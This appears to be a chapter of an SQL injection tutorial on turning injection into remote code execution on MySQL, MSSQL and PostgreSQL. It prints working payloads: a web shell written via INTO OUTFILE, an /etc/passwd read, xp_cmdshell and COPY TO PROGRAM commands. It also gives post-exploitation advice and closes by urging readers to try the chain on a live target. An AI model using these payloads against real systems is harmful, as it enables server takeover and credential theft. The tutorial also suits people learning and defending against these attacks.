SQL Injection: The Complete Practical Guide

From SQL Injection to RCE

Turn SQL injection into remote code execution: stacked queries, MySQL file write, MSSQL xp_cmdshell, Postgres COPY TO PROGRAM, and pivoting from the database to the host.

Published

SQL injection does not always stop at reading data. When the database account is privileged and the driver allows it, you can write files, read files, or run operating-system commands, and turn a query bug into a shell on the server. This is advanced and depends heavily on configuration, so the first step is always checking what the database account can actually do.

Stacked queries

Code-execution tricks usually need more than one statement, so you need stacked queries: ending the original statement with ; and appending your own. Whether this works depends on the database driver, PHP + MySQL (mysqli single-query) often does not allow it, while MSSQL and PostgreSQL commonly do.

'; <your second statement>-- -

If stacking is blocked, some primitives still work inside a single UNIONed SELECT (file reads, for instance).

MySQL file write and read

With the FILE privilege, MySQL can write query output to disk. Drop a web shell into the web root:

' UNION SELECT "<?php system($_GET[0]);?>",NULL INTO OUTFILE '/var/www/html/s.php'-- -

Then request s.php?0=id. You can also read local files:

' UNION SELECT LOAD_FILE('/etc/passwd'),NULL-- -

Both need FILE, and modern MySQL often restricts writes to secure_file_priv, so check first.

MSSQL xp_cmdshell

Microsoft SQL Server can run shell commands through xp_cmdshell when it is enabled (and it can sometimes be re-enabled via sp_configure if you have rights):

'; EXEC xp_cmdshell 'whoami'-- -

Capture output through the response, a table you then read, or an out-of-band callback.

PostgreSQL COPY and extensions

PostgreSQL superusers can run programs with COPY ... TO/FROM PROGRAM:

'; COPY (SELECT '') TO PROGRAM 'id'-- -
'; CREATE TABLE x(o text); COPY x FROM PROGRAM 'id'-- -   (then read table x)

Older or misconfigured instances also expose language or extension tricks that reach the shell.

When the DB user has FILE or superuser

The thread through all of these is privilege. FILE, superuser, xp_cmdshell: each is a capability the database account should not have for a normal web app. If it does, injection escalates from data theft to host compromise. If it does not, these payloads simply fail.

Pivoting from DB to host

Once you have command execution, you are running as the database service account on the database server, which may be a different machine from the web app. From there it is standard post-exploitation: enumerate the host, grab credentials and config, and move toward whatever you were really after.

Defensively, this section is the argument for least privilege: a locked-down database account turns "shell on the host" back into "read one table." Try the full chain on a live target.

← Back to SQL Injection: The Complete Practical Guide